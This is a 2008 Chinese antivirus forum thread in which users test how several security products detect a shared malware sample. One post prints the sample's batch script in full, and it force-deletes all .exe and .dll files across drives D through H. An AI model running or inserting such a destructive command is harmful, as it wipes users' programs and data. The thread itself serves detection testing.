单用微点的试试它。《深度看到的》

显示全部楼层 · 发表于 2008-8-21 18:59:17

@shift
@echo off
for %%i in ( d e f g h) do (
cd /d %%i:
del /f/s/f/q *.exe && del /f/s/f/q *.dll
)

关了卡巴扫描，运行后，被拦截
bat文件里就这几句

显示全部楼层 · 发表于 2008-8-21 19:37:44

现在预升级的微点已经报了，而中午我试的时候的时候一点反应都没有，进特征码了吧.微点的主动防御..............................哎

显示全部楼层 · 发表于 2008-8-21 19:40:24

原帖由 Nblock 于 2008-8-21 17:43 发表
18号微点报警发现可疑行为！是否删除未知木马新版微点可能修改过了以前微点还会报发现格式化操作发现试图删除修改文件
http://bbs.kafan.cn/attachments/month_0808/20080819_fdfc2f159d387cde531fyQUhrUGFjI ...

奇怪，为什么我今天的微点（中午时候的病毒库）一点反应也没有呢？？？？？？奇怪奇怪

显示全部楼层 · 发表于 2008-8-21 19:55:17

McAfee miss

显示全部楼层 · 发表于 2008-8-21 20:18:03

eset 什么都没有报啊

显示全部楼层 · 发表于 2008-8-21 20:35:11

感染性不实机运行

显示全部楼层 · 发表于 2008-8-21 20:35:35

另外这个样本卡饭也有

显示全部楼层 · 发表于 2008-8-21 21:30:09

恶意程序名称:Malware.Win32.KillFile.e

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\123\123\GGE\1\1.EXE
是恶意程序!
已成功阻止其运行,是否要删除此文件?

微点

显示全部楼层 · 发表于 2008-8-22 00:27:47

江民没反应？

显示全部楼层 · 发表于 2008-8-22 00:52:12

原帖由 bzd33 于 2008-8-21 20:18 发表
eset 什么都没有报啊

21日版本是3375的病毒库有报~

[病毒样本] 单用微点的试试它。《深度看到的》